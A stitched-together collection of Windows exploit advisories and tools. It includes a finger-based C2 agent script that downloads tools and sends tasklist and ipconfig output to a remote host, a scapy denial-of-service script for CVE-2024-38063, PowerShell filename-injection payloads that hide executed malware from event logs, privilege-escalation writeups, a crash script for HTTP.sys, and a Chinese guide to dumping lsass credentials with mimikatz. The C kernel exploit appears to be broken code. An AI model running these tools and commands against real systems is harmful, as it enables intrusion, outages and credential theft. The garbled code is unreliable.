SET LOCAL_IP=%LOCAL_IP: =%
ECHO [+] Local IP: %LOCAL_IP%
REM default for non admin as cant set Portproxy.
SET /P DARK_IP="[+] DarkFinger C2 Host/IP: "
SET /P DARK_PORT="[+] DarkFinger C2 Port: "
IF NOT %DARK_PORT%==79 (
ECHO [!] Ports other than 79 typically require a Portproxy.
GOTO AddNetshPortProxy
) ELSE (
GOTO CmdOpt
)
:CheckOutbound79
ECHO [!] Must use the default Port 79 :( good luck.
SET /P CHKPORT="[+] Check if hosts reachable? Y to continue N to abort: "
SET CHKPORT=%CHKPORT: =%
IF /I %CHKPORT% == y (
SET /P DARK_IP="[+] DarkFinger C2 Host/IP: "
cmd /c powershell "$c=New-Object System.Net.Sockets.TCPClient;try{$c.Connect('%DARK_IP%','%DARK_PORT%')}catch{};if(-Not $c.Connected){echo `n'[-] Port 79 unreachable :('}else{$c.Close();echo `n'[-] Port 79 reachable :)'}"
ECHO.
) ELSE (
ECHO [!] Aborting... :(
GOTO Close
)
:CmdOpt
ECHO 1.Download PsExec64
ECHO 2.Download Nc64
ECHO 3.Exfil Tasklist
ECHO 4.Exfil IP Config
ECHO 5.Remove Netsh PortProxy
ECHO 6.Change C2 Server Port - 22 43 53 79 80 443
ECHO 7.Show Current Portproxy
ECHO 8.Change Portproxy
ECHO 9.Delete Portproxy and exit
ECHO 10.Exit Agent
@ECHO.
SET /P doit="Select option: "
IF "%doit%"=="1" GOTO PsExec64
IF "%doit%"=="2" GOTO Nc64
IF "%doit%"=="3" GOTO ExfilTasklist
IF "%doit%"=="4" GOTO ExfilIPConfig
IF "%doit%"=="5" GOTO RemNetShPortProxy
IF "%doit%"=="6" GOTO ChgC2ServerPort
IF "%doit%"=="7" GOTO ShowPortProxy
IF "%doit%"=="8" GOTO ChgPortProxy
IF "%doit%"=="9" GOTO DelProxyNClose
IF "%doit%"=="10" GOTO Close
:ChgPortProxy
IF %Admin% == 0 (
GOTO Init
) ELSE (
ECHO %FAIL_MSG%
@ECHO.
GOTO CmdOpt
)
:PsExec64
SET Tool=PS
ECHO [-] Downloading PsExec64.exe, saving to Desktop as PS.EXE
ECHO [-] Wait...
IF %DARK_PORT%==79 (
SET IP2USE=%DARK_IP%
) ELSE (
SET IP2USE=%LOCAL_IP%
)
call finger ps%DELAY%@%IP2USE% > tmp.txt
GOTO CleanFile
:Nc64
SET Tool=NC
ECHO [-] Downloading Nc64.exe, saving to Desktop as NC.EXE
ECHO [-] Wait...
IF %DARK_PORT%==79 (
SET IP2USE=%DARK_IP%
) ELSE (
SET IP2USE=%LOCAL_IP%
)
call finger nc%DELAY%@%IP2USE% > tmp.txt
GOTO CleanFile
REM remove first two lines of tmp.txt as contains Computer name.
:CleanFile
call cmd /c more +2 tmp.txt > %Tool%.txt
GOTO RemoveTmpFile
:RemoveTmpFile
call cmd /c del %CD%\tmp.txt
GOTO B64Exe
REM Reconstruct executable from the Base64 text-file.
:B64Exe
call certutil -decode %CD%\%Tool%.txt %CD%\%Tool%.EXE 1> nul
@ECHO.
call cmd /c del %CD%\%Tool%.txt
GOTO CmdOpt
:ExfilTasklist
REM uses "." prefix to flag as incoming exfil data.
IF "%DARK_PORT%"=="79" (
SET USE_IP=%DARK_IP%
) ELSE (
SET USE_IP=%LOCAL_IP%
)
cmd /c for /f "tokens=1" %%i in ('tasklist') do finger ."%%i"@%USE_IP%
GOTO CmdOpt
:ExfilIPConfig
REM uses "." prefix to flag as incoming exfil data.
IF "%DARK_PORT%"=="79" (
SET USE_IP=%DARK_IP%
) ELSE (
SET USE_IP=%LOCAL_IP%
)
cmd /c for /f "tokens=*" %%a in ('ipconfig /all') do finger ".%%a"@%USE_IP%
GOTO CmdOpt
:DelProxyNClose
ECHO [!] Removing any previous Portproxy from registry and exiting.
REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4 /F >nul 2>&1
ECHO [!] Exiting...
EXIT /B
:AddNetshPortProxy
SET OK=0
SET /P OK="[!] 1 to Continue:"
IF NOT %OK% EQU 1 (
ECHO [!] Aborted...
@ECHO.
GOTO CmdOpt
)
ECHO [!] Removing any previous Portproxy from registry.
REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4 /F >nul 2>&1
SET LOCAL_FINGER_PORT=79
IF %DARK_PORT%==79 call cmd /c netsh interface portproxy add v4tov4 listenaddress=%LOCAL_IP% listenport=%LOCAL_FINGER_PORT% connectaddress=%DARK_IP% connectport=%DARK_PORT%
IF %DARK_PORT%==79 call cmd /c netsh interface portproxy add v4tov4 listenaddress=%LOCAL_IP% listenport=%DARK_PORT% connectaddress=%LOCAL_IP% connectport=%LOCAL_FINGER_PORT%
IF NOT %DARK_PORT% == 79 call cmd /c netsh interface portproxy add v4tov4 listenaddress=%LOCAL_IP% listenport=%LOCAL_FINGER_PORT% connectaddress=%DARK_IP% connectport=%DARK_PORT%
IF NOT %DARK_PORT% == 79 call cmd /c netsh interface portproxy add v4tov4 listenaddress=%LOCAL_IP% listenport=%DARK_PORT% connectaddress=%LOCAL_IP% connectport=%LOCAL_FINGER_PORT%
IF %Admin% == 0 netsh interface portproxy show all
GOTO CmdOpt
:RemNetShPortProxy
IF %Admin% == 1 (
ECHO %FAIL_MSG%
@ECHO.
GOTO CmdOpt
) ELSE (
ECHO [!] Removing NetSh PortProxy from registry.
REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4 /F >nul 2>&1
)
IF %DARK_PORT%==79 (
GOTO CmdOpt
) ELSE (
GOTO Init
)
:ShowPortProxy
netsh interface portproxy show all
GOTO CmdOpt
REM Allows agent to change the DarkFinger C2 listener port.
:ChgC2ServerPort
IF %Admin% == 1 (
ECHO %FAIL_MSG%
@ECHO.
GOTO CmdOpt
)
SET /P TMP_PORT="[+] DarkFinger listener Port: "
IF %DARK_PORT%==79 finger !%TMP_PORT%!@%DARK_IP%
IF NOT %DARK_PORT%==79 finger !%TMP_PORT%!@%LOCAL_IP%
SET DARK_PORT=%TMP_PORT%
ECHO [!] Attempted to change the DarkFinger remote Port to %TMP_PORT%.
IF NOT %DARK_PORT%==79 ECHO [!] Non default finger port used, must set a new Portproxy. (
GOTO RemNetShPortProxy
) ELSE (
GOTO CmdOpt
)
:Close
EXIT /B
[PoC Video URL]
https://www.youtube.com/watch?v=cfbwS6zH7ks
[Network Access]
Remote
[Disclosure Timeline]
September 11, 2020 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Exploit Title: Windows IPv6 CVE-2024-38063 Checker and Denial-Of-Service
# Date: 2024-08-07
# Exploit Author: Photubias
# Vendor Homepage: https://microsoft.com
# Vendor Advisory: [1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38063
# Version: Windows 10, 11 <10.0.26100.1457 and Server 2016-2019-2022 <10.0.17763.6189
# Tested on: Windows 11 23H2 and Windows Server 2022
# CVE: CVE-2024-38063
import os, subprocess, re, time, sys
## Variables
sDstIP = 'fe80::78b7:6283:49ad:c565' ## Placeholder
if len(sys.argv) > 1: sDstIP = sys.argv[1] ## Please provide an argument
sDstMAC = '00:0C:29:55:E1:C8' ## Not required, will try to get the MAC via Neighbor Discovery
iBatches = 20
iCorruptions = 20 ## How many times do we want to corrupt the tcpip.sys memory per batch
try:
print('--- Loading Scapy, might take some time ...')
from scapy.config import conf
conf.ipv6_enabled = False
import scapy.all as scapy
scapy.conf.verb = 0
except:
print('Error while loading scapy, please run "pip install scapy"')
exit(1)
import logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
def selectInterface(): #adapter[] = npfdevice, ip, mac
def getAllInterfaces():
lstInterfaces=[]
if os.name == 'nt':
proc = subprocess.Popen('getmac /NH /V /FO csv | FINDSTR /V /I disconnected', shell=True, stdout=subprocess.PIPE)
for bInterface in proc.stdout.readlines():
lstInt = bInterface.split(b',')
sAdapter = lstInt[0].strip(b'"').decode()
sDevicename = lstInt[1].strip(b'"').decode()
sMAC = lstInt[2].strip(b'"').decode().lower().replace('-', ':')
sWinguID = lstInt[3].strip().strip(b'"').decode()[-38:]
proc = subprocess.Popen('netsh int ipv6 show addr "{}" | FINDSTR /I Address'.format(sAdapter), shell=True, stdout=subprocess.PIPE)
try: sIP = re.findall(r'[\w:]+:+[\w:]+', proc.stdout.readlines()[0].strip().decode())[0]
except: sIP = ''
if len(sMAC) == 17: lstInterfaces.append([sAdapter, sIP, sMAC, sDevicename, sWinguID]) # When no or bad MAC address (e.g. PPP adapter), do not add
else:
proc = subprocess.Popen('for i in $(ip address | grep -v "lo" | grep "default" | cut -d":" -f2 | cut -d" " -f2);do echo $i $(ip address show dev $i | grep "inet6 " | cut -d" " -f6 | cut -d"/" -f1) $(ip address show dev $i | grep "ether" | cut -d" " -f6);done', shell=True, stdout=subprocess.PIPE)
for bInterface in proc.stdout.readlines():
lstInt = bInterface.strip().split(b' ')
try:
if len(lstInt[2]) == 17: lstInterfaces.append([lstInt[0].decode(), lstInt[1].decode(), lstInt[2].decode(), '', ''])
except: pass
return lstInterfaces
lstInterfaces = getAllInterfaces()
if len(lstInterfaces) > 1:
i = 1
for lstInt in lstInterfaces: #array of arrays: adapter, ip, mac, windows devicename, windows guID
print('[{}] {} has {} ({})'.format(i, lstInt[2], lstInt[1], lstInt[0]))
i += 1
#sAnswer = input('[?] Please select the adapter [1]: ')
sAnswer='3'
else: sAnswer = None
if not sAnswer or sAnswer == '' or not sAnswer.isdigit() or int(sAnswer) >= i: sAnswer = 1
iAnswer = int(sAnswer) - 1
sNPF = lstInterfaces[iAnswer][0]
sIP = lstInterfaces[iAnswer][1]
sMAC = lstInterfaces[iAnswer][2]
if os.name == 'nt': sNPF = r'\Device\NPF_' + lstInterfaces[iAnswer][4]
return (sNPF, sIP, sMAC, lstInterfaces[iAnswer][3])
def get_packets(iID, sDstIPv6, sDstMac=None):
iFragID = 0xbedead00 + iID
oPacket1 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) / scapy.IPv6ExtHdrDestOpt(options=[scapy.PadN(otype=0x81, optdata='bad')])
oPacket2 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) / scapy.IPv6ExtHdrFragment(id=iFragID, m = 1, offset = 0) / 'notalive'
oPacket3 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) / scapy.IPv6ExtHdrFragment(id=iFragID, m = 0, offset = 1)
if sDstMac: ## Should always be this, it seems sending to 'ff:ff:ff:ff:ff:ff' does not work
oPacket1 = scapy.Ether(dst=sDstMac) / oPacket1
oPacket2 = scapy.Ether(dst=sDstMac) / oPacket2
oPacket3 = scapy.Ether(dst=sDstMac) / oPacket3
return [oPacket1, oPacket2, oPacket3]
def doIPv6ND(sDstIP, sInt): ## Try to get a MAC address via IPv6 Neighbour Sollicitation
sMACResp = None
oNeighborSollicitation = scapy.IPv6(dst=sDstIP) / scapy.ICMPv6ND_NS(tgt=sDstIP) / scapy.ICMPv6NDOptSrcLLAddr(lladdr='ff:ff:ff:ff:ff:ff')
oResponse = scapy.sr1(oNeighborSollicitation, timeout=5, iface=sInt)
if oResponse and scapy.ICMPv6NDOptDstLLAddr in oResponse:
sMACResp = oResponse[scapy.ICMPv6NDOptDstLLAddr].lladdr
return sMACResp
lstInt = selectInterface() ## NPF, IPv6, MAC, Name
sMAC = doIPv6ND(sDstIP, lstInt[0])
if sMAC:
print(f'[+] Target {sDstIP} is reachable, got MAC Address {sMAC}')
sDstMAC = sMAC
elif sDstMAC != '':
print('[-] Target not responding to Neighbor Sollicitation Packets, using the provided MAC {}'.format(sDstMAC))
else:
print('[-] Without a MAC address, this exploit will probably not work')
lstPacketsToSend = []
for i in range(iBatches):
for j in range(iCorruptions):
lstPacketsToSend += get_packets(j, sDstIP, sDstMAC) + get_packets(j, sDstIP, sDstMAC)
## 'send' is Layer3 (let scapy figure out the MAC address), 'sendp' is L2 (MAC address is filled in, much better)
print('[i] Verifying vulnerability against IPv6 address {}'.format(sDstIP))
## Verification first: "ICMPv6ParamProblem"
lstResp = scapy.srp1(lstPacketsToSend[0], iface=lstInt[0], timeout=5)
if lstResp and scapy.IPv6 in lstResp[0] and scapy.ICMPv6ParamProblem in lstResp[0]:
print('[+] Yes, {} is vulnerable and exploitable for CVE-2024-38063'.format(sDstIP))
else:
input('[-] Not vulnerable or firewall is enabled. Please verify and rerun or press enter to continue')
print('[i] Waiting 10 seconds to let the target cool down (more is better)')
time.sleep(10)
input('[?] OK, continue to execute the Denial Of Service (BSOD)? Press Ctrl+C to cancel now')
########## Exploit
print('[+] Sending {} packets now via interface {} {}'.format(len(lstPacketsToSend), lstInt[0], lstInt[3]))
scapy.conf.verb = 1
scapy.sendp(lstPacketsToSend, iface=lstInt[0])
print('[+] All packets are sent, now it takes *exactly* 60 seconds for the target to crash')
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/WINDOWS_POWERSHELL_SINGLE_QUOTE_CODE_EXEC_EVENT_LOG_BYPASS.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
www.microsoft.com
[Product]
Microsoft Windows PowerShell
Built on the . NET Framework, Windows PowerShell helps IT professionals and power users control and automate the administration of the Windows operating system and applications that run on Windows.
[Vulnerability Type]
PowerShell Single Quote Code Execution / Event Log Bypass
[CVE Reference]
N/A
[Security Issue]
In past times I disclosed how PowerShell executes unintended files or BASE64 code when processing specially crafted filenames.
This research builds on my "PSTrojanFile" work, adding a PS command line single quote bypass and PS event logging failure.
On Windows CL tab completing a filename uses double quotes that can be leveraged to trigger arbitrary code execution.
However, if the filename gets wrapped in single quotes it failed, that is until now.
[Single Quote Code Exec Bypass]
Combining both the semicolon ";" and ampersand "&" characters, I found it bypasses the single quote limitation given a malicious filename.
The trailing semicolon ";" delimits the .XML extension and helps trigger the PE file specified in the case DOOM.exe and the PS event log gets truncated.
Take the following three test cases using Defender API which takes a specially crafted filename.
C:\>powershell Set-ProcessMitigation -PolicyFilePath "Test;saps DOOM;.xml"
1) Double quotes OK
"Test;saps DOOM;.xml"
2) Single quotes FAILS
'Test;saps DOOM;.xml'
3) Single quotes BYPASS
'Test&DOOM;.xml'
PowerShell API calls that prefix the "powershell" cmd is a requirement and may affect many built-in PS API or module commands.
C:\Users\gg\Downloads\>powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'
Malware.exe lives in Downloads dir, notice how we only need a partial name as part of the .ZIP archive filename we are scanning here
and that it also excludes the .EXE portion in that filename.
[PS Event Log Bypass]
On Windows PowerShell event logging can be enabled to alert a SOC on suspicious activity and or for incident response forensic artifact purposes.
However, when bypassing PS single quotes I noticed an interesting side effect. The ampersand "&" character seems to truncate the PS event log.
Example, processing 'Infected&Malware;.zip' the Event ID 403 logs 'infected' and not the true name of 'Malware.exe' which was actually executed.
Want to mask the true name of the file from PowerShell Event logging? (Malware.exe lives in the same directory)
C:\>powershell Get-Filehash 'Infected&Malware;.zip' -algorithm MD5
Below the event log HostApplication contains 'infected' and not the true name of Malware.exe that was actually executed due to truncating.
[PS Log ID 403 Snippet]
Engine state is changed from Available to Stopped.
Details:
NewEngineState=Stopped
PreviousEngineState=Available
SequenceNumber=25
HostName=ConsoleHost
HostVersion=5.1.19041.1682
HostId=fecdc355-0e89-4d4c-a31d-7835cafa44f0
HostApplication=powershell get-filehash 'Infected
EngineVersion=5.1.19041.1682
[Exploit/POC]
powershell Get-Filehash 'Infected&Malware;.zip' -algorithm MD5
Run some malware plus bypass logging of true file name:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5
PE file Malware.exe in the Downloads directory, notice the .zip we are scanning doesn't include .exe in the filename.
Defender Anti-Malware API:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'
Call ping cmd using double "&":
C:\>powershell Get-Filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5
Call a Windows cmd to Logoff the victim:
C:\>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'
We have options:
A) to call commands use double "&" --> 'virus&logoff&test.zip'
B) bypass PS event logging of the true file name and execute code use "&" with ";" --> 'Infected&Malware;.zip'
[References]
https://github.com/hyp3rlinx/PSTrojanFile
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_DEFENDER_ANTI_MALWARE_POWERSHELL_API_UNINTENDED_CODE_EXECUTION.txt
https://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
[Network Access]
Local
[Severity]
High
[Disclosure Timeline]
Vendor Notification: circa 2019
December 27, 2023 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
# Exploit Title: Windows MultiPoint Server 2011 SP1 - RpcEptMapper and Dnschade Local Privilege Escalation
# Date: 11/11/2021
# Exploit Author: it
# Vendor Homepage: https://www.microsoft.com
# Software Link: https://www.microsoft.com/pt-br/download/details.aspx?id=8518
# Version: Version 6.1 Compilation 7601 Service Pack 1
# Tested on: Microsoft Windows MultiPoint Server 2011 - English Version
Description
Service Local Privilege Escalation - Windows MultiPoint Server 2011 SP1 - RpcEptMapper and Dnschade
Vulnerable: |Service Local Privilege Escalation - Windows MultiPoint Server 2011 SP1 - RpcEptMapper and Dnscache
Vulnerability Type: Privilege Escalation
Tested on: Microsoft Windows MultiPoint Server 2011 - Version 6.1 Compilation 7601 Service Pack 1
Language OS: English
The Vulnerability
Clément wrote a very useful permissions-checking tool for Windows that
find various misconfigurations in Windows that could allow a local
attacker to elevate their privileges. On a typical Windows 7 and
Server 2008 R2 machine, the tool found that all local users have write
permissions on two registry keys:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
These didn't immediately seem exploitable, but Clément did the legwork
and found the Windows Performance Monitoring mechanism can be made to
read from these keys - and eventually load the DLL provided by the
local attacker. To most everyone's surprise, not as the local user,
but as Local System.
In short, a local non-admin user on the computer just creates a
Performance subkey in one of the above keys, populates it with some
values, and triggers performance monitoring, which leads to a Local
System WmiPrvSE.exe process loading attacker's DLL and executing code
from it.
About Artiche: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
I detected that in another version of windows it is also vulnerable,
Windows Multipoint 2011, which can affect customers who use extended
license;
I can't say if there are any other vulnerable unpublished versions
besides the ones I've posted here
How to Produce Exploitation
Compile Exploit Perfusion in Visual Studio 2019 - Open Project, Make
Release x64 and Compile.
Is necessary install microsoft visual c++ redistributable on Windows
MultiPoint 2011 for execute exploit
The exploit Add Subkeys in
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance
Library = Name of your performance DLL
Open = Name of your Open function in your DLL
Collect = Name of your Collect function in your DLL
Close = Name of your Close function in your DLL
and Exploit Write payload dll hijacking, call dll with permission SYSTEM using WMI
Tools and Exploit:
https://github.com/itm4n/PrivescCheck
Exploit:
https://github.com/itm4n/Perfusion
// Exploit Title: Windows 11 22h2 - Kernel Privilege Elevation
// Date: 2023-06-20
// country: Iran
// Exploit Author: Amirhossein Bahramizadeh
// Category : webapps
// Vendor Homepage:
// Tested on: Windows/Linux
// CVE : CVE-2023-28293
#include <windows.h>
#include <stdio.h>
// The vulnerable driver file name
const char *driver_name = "vuln_driver.sys";
// The vulnerable driver device name
const char *device_name = "\\\\.\\VulnDriver";
// The IOCTL code to trigger the vulnerability
#define IOCTL_VULN_CODE 0x222003
// The buffer size for the IOCTL input/output data
#define IOCTL_BUFFER_SIZE 0x1000
int main()
{
HANDLE device;
DWORD bytes_returned;
char input_buffer[IOCTL_BUFFER_SIZE];
char output_buffer[IOCTL_BUFFER_SIZE];
// Load the vulnerable driver
if (!LoadDriver(driver_name, "\\Driver\\VulnDriver"))
{
printf("Error loading vulnerable driver: %d\n", GetLastError());
return 1;
}
// Open the vulnerable driver device
device = CreateFile(device_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (device == INVALID_HANDLE_VALUE)
{
printf("Error opening vulnerable driver device: %d\n", GetLastError());
return 1;
}
// Fill the input buffer with data to trigger the vulnerability
memset(input_buffer, 'A', IOCTL_BUFFER_SIZE);
// Send the IOCTL to trigger the vulnerability
if (!DeviceIoControl(device, IOCTL_VULN_CODE, input_buffer, IOCTL_BUFFER_SIZE, output_buffer, IOCTL_BUFFER_SIZE, &bytes_returned, NULL))
{
printf("Error sending IOCTL: %d\n", GetLastError());
return 1;
}
// Print the output buffer contents
printf("Output buffer:\n%s\n", output_buffer);
// Unload the vulnerable driver
if (!UnloadDriver("\\Driver\\VulnDriver"))
{
printf("Error unloading vulnerable driver: %d\n", GetLastError());
return 1;
}
// Close the vulnerable driver device
CloseHandle(device);
return 0;
}
BOOL LoadDriver(LPCTSTR driver_name, LPCTSTR service_name)
{
SC_HANDLE sc_manager, service;
DWORD error;
// Open the Service Control Manager
sc_manager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (sc_manager == NULL)
{
return FALSE;
}
// Create the service
service = CreateService(sc_manager, service_name, service_name, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, driver_name, NULL, NULL, NULL, NULL, NULL);
if (service == NULL)
{
error = GetLastError();
if (error == ERROR_SERVICE_EXISTS)
{
// The service already exists, so open it instead
service = OpenService(sc_manager, service_name, SERVICE_ALL_ACCESS);
if (service == NULL)
{
CloseServiceHandle(sc_manager);
return FALSE;
}
}
else
{
CloseServiceHandle(sc_manager);
return FALSE;
}
}
// Start the service
if (!StartService(service, 0, NULL))
{
error = GetLastError();
if (error != ERROR_SERVICE_ALREADY_RUNNING)
{
CloseServiceHandle(service);
CloseServiceHandle(sc_manager);
return FALSE;
}
}
CloseServiceHandle(service);
CloseServiceHandle(sc_manager);
return TRUE;
}
BOOL UnloadDriver(LPCTSTR service_name)
{
SC_HANDLE sc_manager, service;
SERVICE_STATUS status;
DWORD error;
// Open the Service Control Manager
sc_manager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (sc_manager == NULL)
{
return FALSE;
}
// Open the service
service = OpenService(sc_manager, service_name, SERVICE_ALL_ACCESS);
if (service == NULL)
{
CloseServiceHandle(sc_manager);
return FALSE;
}
// Stop the service
if (!ControlService(service, SERVICE_CONTROL_STOP, &status))
{
error = GetLastError();
if (error != ERROR_SERVICE_NOT_ACTIVE)
{
CloseServiceHandle(service);
CloseServiceHandle(sc_manager);
return FALSE;
}
}
// Delete the service
if (!DeleteService(service))
{
CloseServiceHandle(service);
CloseServiceHandle(sc_manager);
return FALSE;
}
CloseServiceHandle(service);
CloseServiceHandle(sc_manager);
return TRUE;
}
## Title: Windows 11 10.0.22000 - Backup service Privilege Escalation
## Author: nu11secur1ty
## Date: 01.13.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/software-download/windows11
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-21752
## Description:
Windows 11 Pro build 10.0.22000 Build 22000 suffers from Backup
service - Privilege Escalation vulnerability.
An attacker who successfully exploited this vulnerability could gain
SYSTEM privileges.
and could delete data that could include data that results in the
service being unavailable.
## STATUS: HIGH Vulnerability - CRITICAL
[+] Exploit:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-21752/PoC)
## Reference:
[href](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21752)
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-21752/PoC)
## Proof and Exploit:
[href](https://streamable.com/f2dl3m)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html https://0day.today/
https://cxsecurity.com/ and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
## Title: Windows 10 v21H1 - HTTP Protocol Stack Remote Code Execution
## Author: nu11secur1ty
## Date: 01.14.2022
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/download/details.aspx?id=48264
## Reference: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21907
## CVE-2022-21907
## Description:
NOTE: After a couple of hours of tests and experiments, I found that
there have been no vulnerabilities, this is just a ridiculous
experiment of Microsoft. When I decided to install the IIS packages on
these Windows platforms, everything was ok, and everything is patched!
Windows Server 2019, Windows 10 version 1809 - 2018 year are not
vulnerable by default, but after I decided to upgrade from 1909 to
2004. I found a serious problem! The Windows 10 version 2004 - 2020
year is still vulnerable to the HTTP Protocol Stack (HTTP.sys). Attack
method: buffer overflow - deny of service and restart the system. This
problem exists, from last year which is reported on CVE-2021-31166,
and still there! On that days I have worked on it again with the help
and collaboration of Axel Souchet 0vercl0k the author of the idea. On
that day, I wrote an only one-line command to exploit this
vulnerability!
[+]Exploit:
```python
#!/usr/bin/python
# Author @nu11secur1ty
# CVE-2022-21907
from colorama import init, Fore, Back, Style
init(convert=True)
import requests
import time
print(Fore.RED +"Please input your host...\n")
print(Style.RESET_ALL)
print(Fore.YELLOW)
host = input()
print(Style.RESET_ALL)
print(Fore.BLUE +"Sending of especially malicious crafted packages,
please wait...")
print(Style.RESET_ALL)
time.sleep(17)
print(Fore.GREEN)
# The PoC :)
poc = requests.get(f'http://{host}/', headers = {'Accept-Encoding':
'AAAAAAAAAAAAAAAAAAAAAAAA,\
BBBBBBcccACCCACACATTATTATAASDFADFAFSDDAHJSKSKKSKKSKJHHSHHHAY&AU&**SISODDJJDJJDJJJDJJSU**S,\
RRARRARYYYATTATTTTATTATTATSHHSGGUGFURYTIUHSLKJLKJMNLSJLJLJSLJJLJLKJHJVHGF,\
TTYCTCTTTCGFDSGAHDTUYGKJHJLKJHGFUTYREYUTIYOUPIOOLPLMKNLIJOPKOLPKOPJLKOP,\
OOOAOAOOOAOOAOOOAOOOAOOOAOO,\
****************************stupiD, *, ,',})
# Not necessary :)
print(poc,"\n")
print(Style.RESET_ALL)
```
## Reproduce:
[href](https://github.com/nu11secur1ty/Windows10Exploits/tree/master/2022/CVE-2022-21907)
## Proof and Exploit
[href](https://www.nu11secur1ty.com/2022/01/cve-2022-21907.html)
## Time spend:
05:30:00
前言
lsass.exe(Local Security Authority Subsystem Service进程空间中,存有着机器的域、本地用户名和密码等重要信息。如果获取本地高权限,用户便可以访问LSASS进程内存,从而可以导出内部数据(password),用于横向移动和权限提升。通过lsass转储用户密码或者hash也算是渗透过程中必不可少的一步,这里学习一下原理以及记录下多种转储方法。
[toc]
常规方法
mimikatz::logonpasswords
我们通常将这些工具称为LOLBins,指攻击者可以使用这些二进制文件执行超出其原始目的的操作。 我们关注LOLBins中导出内存的程序。
白名单工具
三个微软签名的白名单程序
Procdump.exe
SQLDumper.exe
createdump.exe
Procdump转储Lsass.exe的内存
ProcDump是微软签名的合法二进制文件,被提供用于转储进程内存。可以在微软文档中下载官方给出的ProcDump文件
用Procdump 抓取lsass进程dmp文件,
procdump64.exe -accepteula -ma lsass.exe lsass_dump
然后可以配置mimikatz使用
sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswords
如果对lsass.exe敏感的话,那么还可以配合lsass.exe的pid来使用
procdump64.exe -accepteula -ma pid lsass_dum
这种原理是lsass.exe是Windows系统的安全机制,主要用于本地安全和登陆策略,通常在我们登陆系统时输入密码后,密码便会存贮在lsass.exe内存中,经过wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存中,而Mimikatz正是通过对lsass.exe逆算获取到明文密码。
关于查杀情况,火绒病毒查杀并没有扫描到,360在13版本下也没检测到在14版本被查杀了。
SQLDumper.exe
Sqldumper.exe实用工具包含在 Microsoft SQL Server 中。 它生成用于调试目的SQL Server和相关进程的内存转储。
sqldumper的常见路径如下
C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe
C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe
SQLDumper.exe包含在Microsoft SQL和Office中,可生成完整转储文件。
tasklist /svc | findstr lsass.exe 查看lsass.exe 的PID号
Sqldumper.exe ProcessID 0 0x01100 导出mdmp文件
再本地解密即可需要使用相同版本操作系统。
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
被360查杀,火绒没有检测
createdump.exe
随着.NET5出现的,本身是个native binary.虽然有签名同样遭到AV查杀
createdump.exe -u -f lsass.dmp lsass[PID]
同样会被360查杀
